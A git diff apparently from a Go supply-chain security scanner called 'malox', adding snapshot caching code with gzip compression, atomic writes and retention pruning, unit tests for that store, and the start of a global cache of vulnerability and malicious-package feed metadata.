:= tmp.Chmod(perm); err != nil { + _ = tmp.Close() + return fmt.Errorf("chmod temp file: %w", err) + } + if err := tmp.Sync(); err != nil { + _ = tmp.Close() + return fmt.Errorf("sync temp file: %w", err) + } + if err := tmp.Close(); err != nil { + return fmt.Errorf("close temp file: %w", err) + } + if err := os.Rename(tmpPath, path); err != nil { + return fmt.Errorf("replace file: %w", err) + } + removeTemp = false + if err := syncDir(dir); err != nil { + return fmt.Errorf("sync parent dir: %w", err) + } + return nil +} + +func syncDir(dir string) error { + if runtime.GOOS == "windows" { + return nil + } + f, err := os.Open(dir) + if err != nil { + return err + } + defer func() { + _ = f.Close() + }() + return f.Sync() +} + +func readSnapshotFile(path string, compressed bool) (scan.Snapshot, error) { + file, err := os.Open(path) + if err != nil { + return scan.Snapshot{}, err + } + defer func() { + _ = file.Close() + }() + + if !compressed { + return decodeSnapshot(file, path) + } + + reader, err := gzip.NewReader(file) + if err != nil { + return scan.Snapshot{}, fmt.Errorf("decompress snapshot %q: %w", path, err) + } + defer func() { + _ = reader.Close() + }() + return decodeSnapshot(reader, path) +} + +func decodeSnapshot(reader io.Reader, path string) (scan.Snapshot, error) { + var doc snapshotDocument + decoder := json.NewDecoder(reader) + if err := decoder.Decode(&doc); err != nil { + return scan.Snapshot{}, fmt.Errorf("parse snapshot %q: %w", path, err) + } + var trailing any + if err := decoder.Decode(&trailing); !errors.Is(err, io.EOF) { + if err == nil { + return scan.Snapshot{}, fmt.Errorf("parse snapshot %q: multiple JSON documents", path) + } + return scan.Snapshot{}, fmt.Errorf("parse snapshot %q: %w", path, err) + } + snapshot, err := doc.toSnapshot() + if err != nil { + return scan.Snapshot{}, fmt.Errorf("parse snapshot %q: %w", path, err) + } + return snapshot, nil +} + +func marshalSnapshot(snapshot scan.Snapshot) ([]byte, error) { + data, err := json.Marshal(newSnapshotDocument(snapshot)) + if err != nil { + return nil, fmt.Errorf("marshal snapshot: %w", err) + } + return append(data, '\n'), nil +} + +func marshalCompressedSnapshot(snapshot scan.Snapshot) ([]byte, error) { + var buf bytes.Buffer + writer := gzip.NewWriter(&buf) + encoder := json.NewEncoder(writer) + encodeErr := encoder.Encode(newSnapshotDocument(snapshot)) + closeErr := writer.Close() + if err := errors.Join(encodeErr, closeErr); err != nil { + return nil, fmt.Errorf("compress snapshot: %w", err) + } + return buf.Bytes(), nil +} + +func (s Store) pruneSnapshots(ctx context.Context) error { + snapshots, err := s.ListSnapshots(ctx) + if err != nil { + return fmt.Errorf("prune snapshots: %w", err) + } + if len(snapshots) <= s.snapshotRetention { + return nil + } + + for _, snapshot := range snapshots[:len(snapshots)-s.snapshotRetention] { + if err := ctx.Err(); err != nil { + return fmt.Errorf("prune snapshots: %w", err) + } + compressedPath, uncompressedPath, err := s.snapshotPaths(snapshot.ID) + if err != nil { + return fmt.Errorf("prune snapshot %q: %w", snapshot.ID, err) + } + for _, path := range []string{compressedPath, uncompressedPath} { + if err := os.Remove(path); err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("prune snapshot %q: %w", snapshot.ID, err) + } + } + } + if err := syncDir(filepath.Join(s.dir, "scans")); err != nil { + return fmt.Errorf("sync pruned snapshots: %w", err) + } + return nil +} + +func (s Store) removeLegacyFileIndex() error { + path := filepath.Join(s.dir, "indexes", "files.jsonl") + if err := os.Remove(path); err != nil && !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("remove legacy file index: %w", err) + } + return nil +} + +func snapshotID(id string) string { + id = strings.TrimSuffix(id, compressedSnapshotSuffix) + return strings.TrimSuffix(id, uncompressedSnapshotSuffix) +} + +func parseSnapshotName(name string) (string, bool, bool) { + switch { + case strings.HasSuffix(name, compressedSnapshotSuffix): + return strings.TrimSuffix(name, compressedSnapshotSuffix), true, true + case strings.HasSuffix(name, uncompressedSnapshotSuffix): + return strings.TrimSuffix(name, uncompressedSnapshotSuffix), false, true + default: + return "", false, false + } +} + +type snapshotDocument struct { + SchemaVersion string `json:"schema_version"` + ScannerVersion string `json:"scanner_version"` + ScanID string `json:"scan_id"` + ProjectID string `json:"project_id"` + ProjectRoot string `json:"project_root"` + StartedAt string `json:"started_at"` + FinishedAt string `json:"finished_at"` + PackageManagers []packageManagerSignal `json:"package_manager_signals,omitempty"` + Node node.Inventory `json:"node_inventory,omitempty"` + ThreatSources []threatSourceDocument `json:"threat_sources,omitempty"` + Findings []rules.Finding `json:"findings,omitempty"` + Files []fileDocument `json:"files"` + SkippedFiles []skippedFileDocument `json:"skipped_files,omitempty"` + SkippedDirectories []skippedDirDocument `json:"skipped_directories,omitempty"` + Errors []issueDocument `json:"errors,omitempty"` + Summary summaryDocument `json:"summary"` +} + +type latestDocument struct { + SchemaVersion string `json:"schema_version"` + ScanID string `json:"scan_id"` +} + +type packageManagerSignal struct { + Manager string `json:"manager"` + Kind string `json:"kind"` + Path string `json:"path"` +} + +type threatSourceDocument struct { + SchemaVersion string `json:"schema_version,omitempty"` + Source string `json:"source"` + Status string `json:"status"` + Mode string `json:"mode"` + FetchedAt string `json:"fetched_at,omitempty"` + CacheAge string `json:"cache_age,omitempty"` + Records int `json:"records,omitempty"` + Warning string `json:"warning,omitempty"` + Required bool `json:"required,omitempty"` +} + +type fileDocument struct { + Path string `json:"path"` + Size int64 `json:"size"` + ModifiedTime string `json:"modified_time"` + Mode string `json:"mode"` + Permissions string `json:"permissions"` + Symlink bool `json:"symlink"` + SymlinkTarget string `json:"symlink_target,omitempty"` + SHA256 string `json:"sha256,omitempty"` + Type string `json:"type"` + Status string `json:"status"` + State string `json:"state"` + SkipReason *skipReasonDocument `json:"skip_reason,omitempty"` + PackageOwner string `json:"package_owner,omitempty"` +} + +type skipReasonDocument struct { + Code string `json:"code"` + Message string `json:"message"` + LimitBytes int64 `json:"limit_bytes,omitempty"` + ActualBytes int64 `json:"actual_bytes,omitempty"` +} + +type skippedFileDocument struct { + Path string `json:"path"` + Reason skipReasonDocument `json:"reason"` +} + +type skippedDirDocument struct { + Path string `json:"path"` + Reason skipReasonDocument `json:"reason"` +} + +type issueDocument struct { + Path string `json:"path"` + Code string `json:"code"` + Message string `json:"message"` +} + +type summaryDocument struct { + TotalFiles int `json:"total_files"` + ScannedFiles int `json:"scanned_files"` + SkippedFiles int `json:"skipped_files"` + ErroredFiles int `json:"errored_files"` + SkippedDirectories int `json:"skipped_directories"` + PackageManagers int `json:"package_managers"` + NodeModulesFiles int `json:"node_modules_files"` + NodeModulesPackages int `json:"node_modules_packages"` + Findings int `json:"findings"` + SuppressedFindings int `json:"suppressed_findings"` + BlockingFindings int `json:"blocking_findings"` + WeakFindings int `json:"weak_findings"` +} + +func newSnapshotDocument(snapshot scan.Snapshot) snapshotDocument { + return snapshotDocument{ + SchemaVersion: snapshot.SchemaVersion, + ScannerVersion: snapshot.ScannerVersion, + ScanID: snapshot.ScanID, + ProjectID: snapshot.ProjectID, + ProjectRoot: snapshot.ProjectRoot, + StartedAt: formatTime(snapshot.StartedAt), + FinishedAt: formatTime(snapshot.FinishedAt), + PackageManagers: newPackageManagerSignals(snapshot.PackageManagers), + Node: snapshot.Node, + ThreatSources: newThreatSources(snapshot.ThreatSources), + Findings: snapshot.Findings, + Files: newFileDocuments(snapshot.Files), + SkippedFiles: newSkippedFileDocuments(snapshot.SkippedFiles), + SkippedDirectories: newSkippedDirDocuments(snapshot.SkippedDirectories), + Errors: newIssueDocuments(snapshot.Errors), + Summary: summaryDocument{ + TotalFiles: snapshot.Summary.TotalFiles, + ScannedFiles: snapshot.Summary.ScannedFiles, + SkippedFiles: snapshot.Summary.SkippedFiles, + ErroredFiles: snapshot.Summary.ErroredFiles, + SkippedDirectories: snapshot.Summary.SkippedDirectories, + PackageManagers: snapshot.Summary.PackageManagers, + NodeModulesFiles: snapshot.Summary.NodeModulesFiles, + NodeModulesPackages: snapshot.Summary.NodeModulesPackages, + Findings: snapshot.Summary.Findings, + SuppressedFindings: snapshot.Summary.SuppressedFindings, + BlockingFindings: snapshot.Summary.BlockingFindings, + WeakFindings: snapshot.Summary.WeakFindings, + }, + } +} + +func newPackageManagerSignals(signals []scan.PackageManagerSignal) []packageManagerSignal { + if len(signals) == 0 { + return nil + } + out := make([]packageManagerSignal, 0, len(signals)) + for _, signal := range signals { + out = append(out, packageManagerSignal{ + Manager: signal.Manager, + Kind: signal.Kind, + Path: signal.Path, + }) + } + return out +} + +func newFileDocuments(files []scan.File) []fileDocument { + out := make([]fileDocument, 0, len(files)) + for _, file := range files { + out = append(out, fileDocument{ + Path: file.Path, + Size: file.Size, + ModifiedTime: formatTime(file.ModifiedTime), + Mode: file.Mode, + Permissions: file.Permissions, + Symlink: file.Symlink, + SymlinkTarget: file.SymlinkTarget, + SHA256: file.SHA256, + Type: file.Type, + Status: string(file.Status), + State: string(file.State), + SkipReason: newSkipReasonDocument(file.SkipReason), + PackageOwner: file.PackageOwner, + }) + } + return out +} + +func newSkipReasonDocument(reason *scan.SkipReason) *skipReasonDocument { + if reason == nil { + return nil + } + doc := newSkipReasonValue(*reason) + return &doc +} + +func newSkipReasonValue(reason scan.SkipReason) skipReasonDocument { + return skipReasonDocument{ + Code: reason.Code, + Message: reason.Message, + LimitBytes: reason.LimitBytes, + ActualBytes: reason.ActualBytes, + } +} + +func newSkippedFileDocuments(skipped []scan.SkippedFile) []skippedFileDocument { + if len(skipped) == 0 { + return nil + } + out := make([]skippedFileDocument, 0, len(skipped)) + for _, item := range skipped { + out = append(out, skippedFileDocument{ + Path: item.Path, + Reason: newSkipReasonValue(item.Reason), + }) + } + return out +} + +func newSkippedDirDocuments(skipped []scan.SkippedDirectory) []skippedDirDocument { + if len(skipped) == 0 { + return nil + } + out := make([]skippedDirDocument, 0, len(skipped)) + for _, item := range skipped { + out = append(out, skippedDirDocument{ + Path: item.Path, + Reason: newSkipReasonValue(item.Reason), + }) + } + return out +} + +func newIssueDocuments(issues []scan.Issue) []issueDocument { + if len(issues) == 0 { + return nil + } + out := make([]issueDocument, 0, len(issues)) + for _, issue := range issues { + out = append(out, issueDocument{ + Path: issue.Path, + Code: issue.Code, + Message: issue.Message, + }) + } + return out +} + +func (d snapshotDocument) toSnapshot() (scan.Snapshot, error) { + startedAt, err := parseTime(d.StartedAt) + if err != nil { + return scan.Snapshot{}, fmt.Errorf("parse started_at: %w", err) + } + finishedAt, err := parseTime(d.FinishedAt) + if err != nil { + return scan.Snapshot{}, fmt.Errorf("parse finished_at: %w", err) + } + files, err := d.scanFiles() + if err != nil { + return scan.Snapshot{}, err + } + + return scan.Snapshot{ + SchemaVersion: d.SchemaVersion, + ScannerVersion: d.ScannerVersion, + ScanID: d.ScanID, + ProjectID: d.ProjectID, + ProjectRoot: d.ProjectRoot, + StartedAt: startedAt, + FinishedAt: finishedAt, + PackageManagers: d.scanSignals(), + Node: d.Node, + ThreatSources: d.scanThreatSources(), + Findings: d.Findings, + Files: files, + SkippedFiles: d.scanSkippedFiles(), + SkippedDirectories: d.scanSkippedDirectories(), + Errors: d.scanIssues(), + Summary: scan.Summary{ + TotalFiles: d.Summary.TotalFiles, + ScannedFiles: d.Summary.ScannedFiles, + SkippedFiles: d.Summary.SkippedFiles, + ErroredFiles: d.Summary.ErroredFiles, + SkippedDirectories: d.Summary.SkippedDirectories, + PackageManagers: d.Summary.PackageManagers, + NodeModulesFiles: d.Summary.NodeModulesFiles, + NodeModulesPackages: d.Summary.NodeModulesPackages, + Findings: d.Summary.Findings, + SuppressedFindings: d.Summary.SuppressedFindings, + BlockingFindings: d.Summary.BlockingFindings, + WeakFindings: d.Summary.WeakFindings, + }, + }, nil +} + +func newThreatSources(sources []scan.ThreatSourceStatus) []threatSourceDocument { + if len(sources) == 0 { + return nil + } + out := make([]threatSourceDocument, 0, len(sources)) + for _, source := range sources { + out = append(out, threatSourceDocument{ + SchemaVersion: source.SchemaVersion, + Source: source.Source, + Status: source.Status, + Mode: source.Mode, + FetchedAt: formatTime(source.FetchedAt), + CacheAge: source.CacheAge, + Records: source.Records, + Warning: source.Warning, + Required: source.Required, + }) + } + return out +} + +func (d snapshotDocument) scanThreatSources() []scan.ThreatSourceStatus { + if len(d.ThreatSources) == 0 { + return nil + } + out := make([]scan.ThreatSourceStatus, 0, len(d.ThreatSources)) + for _, source := range d.ThreatSources { + fetchedAt, _ := parseTime(source.FetchedAt) + out = append(out, scan.ThreatSourceStatus{ + SchemaVersion: source.SchemaVersion, + Source: source.Source, + Status: source.Status, + Mode: source.Mode, + FetchedAt: fetchedAt, + CacheAge: source.CacheAge, + Records: source.Records, + Warning: source.Warning, + Required: source.Required, + }) + } + return out +} + +func (d snapshotDocument) scanSignals() []scan.PackageManagerSignal { + if len(d.PackageManagers) == 0 { + return nil + } + out := make([]scan.PackageManagerSignal, 0, len(d.PackageManagers)) + for _, signal := range d.PackageManagers { + out = append(out, scan.PackageManagerSignal{ + Manager: signal.Manager, + Kind: signal.Kind, + Path: signal.Path, + }) + } + return out +} + +func (d snapshotDocument) scanFiles() ([]scan.File, error) { + out := make([]scan.File, 0, len(d.Files)) + for _, file := range d.Files { + modifiedTime, err := parseTime(file.ModifiedTime) + if err != nil { + return nil, fmt.Errorf("parse modified_time for %q: %w", file.Path, err) + } + out = append(out, scan.File{ + Path: file.Path, + Size: file.Size, + ModifiedTime: modifiedTime, + Mode: file.Mode, + Permissions: file.Permissions, + Symlink: file.Symlink, + SymlinkTarget: file.SymlinkTarget, + SHA256: file.SHA256, + Type: file.Type, + Status: scan.Status(file.Status), + State: scan.FileState(file.State), + SkipReason: file.scanSkipReason(), + PackageOwner: file.PackageOwner, + }) + } + return out, nil +} + +func (d snapshotDocument) scanSkippedFiles() []scan.SkippedFile { + if len(d.SkippedFiles) == 0 { + return nil + } + out := make([]scan.SkippedFile, 0, len(d.SkippedFiles)) + for _, item := range d.SkippedFiles { + out = append(out, scan.SkippedFile{ + Path: item.Path, + Reason: item.Reason.scanReason(), + }) + } + return out +} + +func (d snapshotDocument) scanSkippedDirectories() []scan.SkippedDirectory { + if len(d.SkippedDirectories) == 0 { + return nil + } + out := make([]scan.SkippedDirectory, 0, len(d.SkippedDirectories)) + for _, item := range d.SkippedDirectories { + out = append(out, scan.SkippedDirectory{ + Path: item.Path, + Reason: item.Reason.scanReason(), + }) + } + return out +} + +func (d snapshotDocument) scanIssues() []scan.Issue { + if len(d.Errors) == 0 { + return nil + } + out := make([]scan.Issue, 0, len(d.Errors)) + for _, issue := range d.Errors { + out = append(out, scan.Issue{ + Path: issue.Path, + Code: issue.Code, + Message: issue.Message, + }) + } + return out +} + +func (d fileDocument) scanSkipReason() *scan.SkipReason { + if d.SkipReason == nil { + return nil + } + reason := d.SkipReason.scanReason() + return &reason +} + +func (d skipReasonDocument) scanReason() scan.SkipReason { + return scan.SkipReason{ + Code: d.Code, + Message: d.Message, + LimitBytes: d.LimitBytes, + ActualBytes: d.ActualBytes, + } +} + +func formatTime(t time.Time) string { + if t.IsZero() { + return "" + } + return t.UTC().Format(time.RFC3339Nano) +} + +func parseTime(value string) (time.Time, error) { + if value == "" { + return time.Time{}, nil + } + return time.Parse(time.RFC3339Nano, value) +} diff --git a/internal/cache/cache_test.go b/internal/cache/cache_test.go new file mode 100644 index 0000000..9a35ed3 --- /dev/null +++ b/internal/cache/cache_test.go @@ -0,0 +1,284 @@ +package cache + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "malox/internal/scan" +) + +func TestStoreWriteAndLoadSnapshot(t *testing.T) { + stateDir := t.TempDir() + store, err := NewStore(stateDir) + if err != nil { + t.Fatalf("NewStore() error = %v", err) + } + + snapshot := testSnapshot("2026-06-17T12-00-00.000000000Z", "package.json", "abc123") + if err := store.WriteSnapshot(t.Context(), snapshot); err != nil { + t.Fatalf("WriteSnapshot() error = %v", err) + } + + latest, ok, err := store.LoadLatest(t.Context()) + if err != nil { + t.Fatalf("LoadLatest() error = %v", err) + } + if !ok { + t.Fatal("LoadLatest() ok = false, want true") + } + if latest.ScanID != snapshot.ScanID { + t.Fatalf("latest ScanID = %q, want %q", latest.ScanID, snapshot.ScanID) + } + if latest.Files[0].Path != "package.json" || latest.Files[0].SHA256 != "abc123" { + t.Fatalf("latest file = %#v", latest.Files[0]) + } + + snapshots, err := store.ListSnapshots(t.Context()) + if err != nil { + t.Fatalf("ListSnapshots() error = %v", err) + } + if len(snapshots) != 1 || snapshots[0].ID != snapshot.ScanID { + t.Fatalf("snapshots = %#v, want one snapshot", snapshots) + } + if !strings.HasSuffix(snapshots[0].Path, compressedSnapshotSuffix) { + t.Fatalf("snapshot path = %q, want compressed snapshot", snapshots[0].Path) + } + + latestData, err := os.ReadFile(filepath.Join(stateDir, "latest.json")) + if err != nil { + t.Fatalf("ReadFile(latest) error = %v", err) + } + var pointer latestDocument + if err := json.Unmarshal(latestData, &pointer); err != nil { + t.Fatalf("Unmarshal(latest) error = %v", err) + } + if pointer.SchemaVersion != latestSchemaVersion || pointer.ScanID != snapshot.ScanID { + t.Fatalf("latest pointer = %#v, want scan %q", pointer, snapshot.ScanID) + } + if len(latestData) >= 256 { + t.Fatalf("latest pointer size = %d, want a small pointer document", len(latestData)) + } + + compressedPath := filepath.Join(stateDir, "scans", snapshot.ScanID+compressedSnapshotSuffix) + compressedData, err := os.ReadFile(compressedPath) + if err != nil { + t.Fatalf("ReadFile(snapshot) error = %v", err) + } + if len(compressedData) < 2 || compressedData[0] != 0x1f || compressedData[1] != 0x8b { + t.Fatalf("snapshot does not start with gzip header: %x", compressedData[:min(2, len(compressedData))]) + } + if _, err := os.Stat(filepath.Join(stateDir, "indexes", "files.jsonl")); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("legacy file index still exists: %v", err) + } +} + +func TestStoreLoadsLegacySnapshots(t *testing.T) { + stateDir := t.TempDir() + store, err := NewStore(stateDir) + if err != nil { + t.Fatalf("NewStore() error = %v", err) + } + + snapshot := testSnapshot("2026-06-17T12-00-00.000000000Z", "legacy.js", "legacy-hash") + data, err := marshalSnapshot(snapshot) + if err != nil { + t.Fatalf("marshalSnapshot() error = %v", err) + } + if err := os.Mkdir(filepath.Join(stateDir, "scans"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(stateDir, "latest.json"), data, 0o644); err != nil { + t.Fatal(err) + } + if err := os.WriteFile( + filepath.Join(stateDir, "scans", snapshot.ScanID+uncompressedSnapshotSuffix), + data, + 0o644, + ); err != nil { + t.Fatal(err) + } + + latest, ok, err := store.LoadLatest(t.Context()) + if err != nil { + t.Fatalf("LoadLatest() error = %v", err) + } + if !ok || latest.ScanID != snapshot.ScanID { + t.Fatalf("LoadLatest() = (%q, %t), want %q", latest.ScanID, ok, snapshot.ScanID) + } + loaded, err := store.LoadSnapshot(t.Context(), snapshot.ScanID) + if err != nil { + t.Fatalf("LoadSnapshot() error = %v", err) + } + if loaded.Files[0].Path != "legacy.js" { + t.Fatalf("loaded legacy file = %#v", loaded.Files[0]) + } +} + +func TestStorePrunesSnapshotsAfterRetentionLimit(t *testing.T) { + stateDir := t.TempDir() + store, err := NewStoreWithOptions(stateDir, StoreOptions{SnapshotRetention: 2}) + if err != nil { + t.Fatalf("NewStoreWithOptions() error = %v", err) + } + + ids := []string{ + "2026-06-17T12-00-00.000000000Z", + "2026-06-17T12-01-00.000000000Z", + "2026-06-17T12-02-00.000000000Z", + } + for _, id := range ids { + if err := store.WriteSnapshot(t.Context(), testSnapshot(id, id+".js", id)); err != nil { + t.Fatalf("WriteSnapshot(%q) error = %v", id, err) + } + } + + snapshots, err := store.ListSnapshots(t.Context()) + if err != nil { + t.Fatalf("ListSnapshots() error = %v", err) + } + if len(snapshots) != 2 || snapshots[0].ID != ids[1] || snapshots[1].ID != ids[2] { + t.Fatalf("snapshots = %#v, want newest two", snapshots) + } + if _, err := store.LoadSnapshot(t.Context(), ids[0]); !errors.Is(err, ErrSnapshotNotFound) { + t.Fatalf("LoadSnapshot(oldest) error = %v, want ErrSnapshotNotFound", err) + } +} + +func TestStoreRemovesLegacyFileIndex(t *testing.T) { + stateDir := t.TempDir() + indexDir := filepath.Join(stateDir, "indexes") + if err := os.MkdirAll(indexDir, 0o755); err != nil { + t.Fatal(err) + } + indexPath := filepath.Join(indexDir, "files.jsonl") + if err := os.WriteFile(indexPath, []byte("{}\n"), 0o644); err != nil { + t.Fatal(err) + } + store, err := NewStore(stateDir) + if err != nil { + t.Fatalf("NewStore() error = %v", err) + } + snapshot := testSnapshot("2026-06-17T12-00-00.000000000Z", "package.json", "abc123") + if err := store.WriteSnapshot(t.Context(), snapshot); err != nil { + t.Fatalf("WriteSnapshot() error = %v", err) + } + if _, err := os.Stat(indexPath); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("legacy file index still exists: %v", err) + } +} + +func TestCompressedSnapshotIsSmallerThanJSON(t *testing.T) { + snapshot := testSnapshot("2026-06-17T12-00-00.000000000Z", "package.json", strings.Repeat("a", 64)) + for i := range 200 { + file := snapshot.Files[0] + file.Path = strings.Repeat("node_modules/package/", 2) + string(rune('a'+i%26)) + file.Path + snapshot.Files = append(snapshot.Files, file) + } + + plain, err := marshalSnapshot(snapshot) + if err != nil { + t.Fatalf("marshalSnapshot() error = %v", err) + } + compressed, err := marshalCompressedSnapshot(snapshot) + if err != nil { + t.Fatalf("marshalCompressedSnapshot() error = %v", err) + } + if len(compressed) >= len(plain)/2 { + t.Fatalf("compressed size = %d, plain size = %d; want at least 50%% smaller", len(compressed), len(plain)) + } +} + +func TestStoreRejectsCorruptCompressedSnapshot(t *testing.T) { + stateDir := t.TempDir() + store, err := NewStore(stateDir) + if err != nil { + t.Fatalf("NewStore() error = %v", err) + } + snapshot := testSnapshot("2026-06-17T12-00-00.000000000Z", "package.json", "abc123") + data, err := marshalCompressedSnapshot(snapshot) + if err != nil { + t.Fatalf("marshalCompressedSnapshot() error = %v", err) + } + data[len(data)-1] ^= 0xff + scansDir := filepath.Join(stateDir, "scans") + if err := os.Mkdir(scansDir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile( + filepath.Join(scansDir, snapshot.ScanID+compressedSnapshotSuffix), + data, + 0o644, + ); err != nil { + t.Fatal(err) + } + + if _, err := store.LoadSnapshot(t.Context(), snapshot.ScanID); err == nil { + t.Fatal("LoadSnapshot() error = nil, want corrupt gzip error") + } +} + +func TestStoreRecentPairRequiresTwoSnapshots(t *testing.T) { + store, err := NewStore(t.TempDir()) + if err != nil { + t.Fatalf("NewStore() error = %v", err) + } + + _, _, err = store.RecentPair(t.Context()) + if !errors.Is(err, ErrInsufficientSnapshots) { + t.Fatalf("RecentPair() error = %v, want ErrInsufficientSnapshots", err) + } +} + +func TestWriteFileAtomicReplacesExistingFile(t *testing.T) { + path := filepath.Join(t.TempDir(), "latest.json") + if err := os.WriteFile(path, []byte("old\n"), 0o644); err != nil { + t.Fatal(err) + } + + if err := writeFileAtomic(t.Context(), path, []byte("new\n"), 0o644); err != nil { + t.Fatalf("writeFileAtomic() error = %v", err) + } + + got, err := os.ReadFile(path) + if err != nil { + t.Fatalf("ReadFile() error = %v", err) + } + if string(got) != "new\n" { + t.Fatalf("file content = %q, want new", string(got)) + } +} + +func testSnapshot(scanID, path, hash string) scan.Snapshot { + when := time.Date(2026, 6, 17, 12, 0, 0, 0, time.UTC) + return scan.Snapshot{ + SchemaVersion: scan.SchemaVersion, + ScannerVersion: "test-version", + ScanID: scanID, + ProjectID: "sha256:test", + ProjectRoot: ".", + StartedAt: when, + FinishedAt: when, + Files: []scan.File{ + { + Path: path, + Size: int64(len(hash)), + ModifiedTime: when, + Mode: "-rw-r--r--", + Permissions: "0644", + SHA256: hash, + Type: "unknown", + Status: scan.StatusScanned, + State: scan.FileStatePreviouslyUnscanned, + }, + }, + Summary: scan.Summary{ + TotalFiles: 1, + ScannedFiles: 1, + }, + } +} diff --git a/internal/cache/global.go b/internal/cache/global.go new file mode 100644 index 0000000..d9a4580 --- /dev/null +++ b/internal/cache/global.go @@ -0,0 +1,546 @@ +package cache + +import ( + "context" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "io/fs" + "os" + "path/filepath" + "slices" + "strings" + "time" + + "malox/internal/rules" +) + +const ( + // GlobalIndexSchemaVersion is the schema used by index-v1.json. + GlobalIndexSchemaVersion = "malox.cache.index.v1" + // SourceMetadataSchemaVersion is the schema used by per-source metadata. + SourceMetadataSchemaVersion = "malox.cache.source.metadata.v1" + // CacheReportSchemaVersion is the schema used by cache command JSON output. + CacheReportSchemaVersion = "malox.cache.report.v1" +) + +var ( + // ErrCleanAllRequiresForce reports that a full cache clean needs confirmation. + ErrCleanAllRequiresForce = errors.New("cache clean --all requires --force") + // ErrSourceMetadataInvalid reports malformed source metadata. + ErrSourceMetadataInvalid = errors.New("source metadata is invalid") +) + +// GlobalStore reads and writes the per-user Malox cache. +type GlobalStore struct { + dir string + now func() time.Time +} + +// SourceMetadata records freshness and provenance for one cached source. +type SourceMetadata struct { + SchemaVersion string `json:"schema_version"` + Source string `json:"source"` + FetchedAt time.Time `json:"fetched_at"` + ETag string `json:"etag"` + LastModified string `json:"last_modified"` + License string `json:"license"` + SourceType string `json:"source_type"` + TTL string `json:"ttl"` + RecordCount int `json:"record_count"` +} + +// GlobalIndex is the root cache index document. +type GlobalIndex struct { + SchemaVersion string `json:"schema_version"` + UpdatedAt time.Time `json:"updated_at"` + Sources []SourceMetadata `json:"sources"` + TTLs map[string]string `json:"ttls"` +} + +// UpdateOptions configures a cache update. +type UpdateOptions struct { + Offline bool + Source string + Now time.Time +} + +// CleanOptions configures a cache cleanup. +type CleanOptions struct { + Expired bool + All bool + Force bool + Now time.Time +} + +// CommandReport is the machine-readable output for cache commands. +type CommandReport struct { + SchemaVersion string `json:"schema_version"` + Operation string `json:"operation"` + Offline bool `json:"offline,omitempty"` + Sources []SourceChange `json:"sources"` + Warnings []string `json:"warnings"` +} + +// SourceChange describes the changed records for one cache source. +type SourceChange struct { + Source string `json:"source"` + RecordsChanged int `json:"records_changed"` + BytesWritten int64 `json:"bytes_written,omitempty"` + BytesRemoved int64 `json:"bytes_removed,omitempty"` + Warnings []string `json:"warnings,omitempty"` +} + +type sourceConfig struct { + name string + sourceType string + ttl time.Duration + license string + dirs []string +} + +var globalSourceConfigs = []sourceConfig{ + { + name: "osv", + sourceType: "vulnerability", + ttl: 24 * time.Hour, + license: "varies by OSV record", + dirs: []string{"querybatch", "vulns"}, + }, + { + name: "github-advisory-database", + sourceType: "vulnerability", + ttl: 24 * time.Hour, + license: "GitHub Advisory Database terms", + dirs: []string{"records"}, + }, + { + name: "openssf-malicious-packages", + sourceType: "malware", + ttl: 24 * time.Hour, + license: "OpenSSF malicious-packages license", + dirs: []string{"records", "by-purl", "by-package"}, + }, + { + name: "npm", + sourceType: "registry", + ttl: 72 * time.Hour, + license: "npm registry metadata terms", + dirs: []string{"packuments", "versions", "audit-bulk", "keys"}, + }, + { + name: "deps-dev", + sourceType: "repository", + ttl: 7 * 24 * time.Hour, + license: "deps.dev API terms", + dirs: []string{"packages", "versions", "advisories", "hash-query"}, + }, + { + name: "openssf-package-analysis", + sourceType: "behavior", + ttl: 24 * time.Hour, + license: "OpenSSF package-analysis license", + dirs: []string{"package-behavior"}, + }, + { + name: "scorecard", + sourceType: "repository", + ttl: 7 * 24 * time.Hour, + license: "OpenSSF Scorecard license", + dirs: []string{"repositories"}, + }, + { + name: "builtin-rules", + sourceType: "rules", + ttl: 24 * time.Hour, + license: "Malox project license", + }, +} + +// NewGlobalStore returns a global cache store rooted at cacheDir. +func NewGlobalStore(cacheDir string) (GlobalStore, error) { + if strings.TrimSpace(cacheDir) == "" { + return GlobalStore{}, errors.New("cache dir is required") + } + absolute, err := filepath.Abs(cacheDir) + if err != nil { + return GlobalStore{}, fmt.Errorf("resolve cache dir: %w", err) + } + return GlobalStore{dir: filepath.Clean(absolute), now: func() time.Time { + return time.Now().UTC() + }}, nil +} + +// Dir returns the global cache root directory. +func (s GlobalStore) Dir() string { + return s.dir +} + +// Ensure creates the expected global cache layout and root index if needed. +func (s GlobalStore) Ensure(ctx context.Context) error { + if err := ctx.Err(); err != nil { + return fmt.Errorf("ensure global cache: %w", err) + } + for _, dir := range s.layoutDirs() { + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("create cache dir %q: %w", dir, err) + } + } + + indexPath := filepath.Join(s.dir, "index-v1.json") + if _, err := os.Stat(indexPath); err == nil { + return nil + } else if !errors.Is(err, os.ErrNotExist) { + return fmt.Errorf("stat cache index: %w", err) + } + return s.writeIndex(ctx, GlobalIndex{ + SchemaVersion: GlobalIndexSchemaVersion, + UpdatedAt: s.clock(), + Sources: []SourceMetadata{}, + TTLs: ttlStrings(), + }) +} + +// Update refreshes local cache metadata and bundled rule documents. +func (s GlobalStore) Update(ctx context.Context, opts UpdateOptions) (CommandReport, error) { + if err := s.Ensure(ctx); err != nil { + return CommandReport{}, err + } + + now := opts.Now + if now.IsZero() { + now = s.clock() + } + report := CommandReport{ + SchemaVersion: CacheReportSchemaVersion, + Operation: "update", + Offline: opts.Offline, + Sources: []SourceChange{}, + Warnings: []string{}, + } + if opts.Offline { + report.Warnings = append(report.Warnings, "offline mode: remote source updates skipped") + } + source := strings.TrimSpace(opts.Source) + if source != "" && source != "builtin-rules" { + return report, nil + } + + change, metadata, err := s.updateBuiltinRules(ctx, now) + if err != nil { + return CommandReport{}, err + } + report.Sources = append(report.Sources, change) + + index := GlobalIndex{ + SchemaVersion: GlobalIndexSchemaVersion, + UpdatedAt: now, + Sources: []SourceMetadata{metadata}, + TTLs: ttlStrings(), + } + if err := s.writeIndex(ctx, index); err != nil { + return CommandReport{}, err + } + return report, nil +} + +// Clean removes expired records 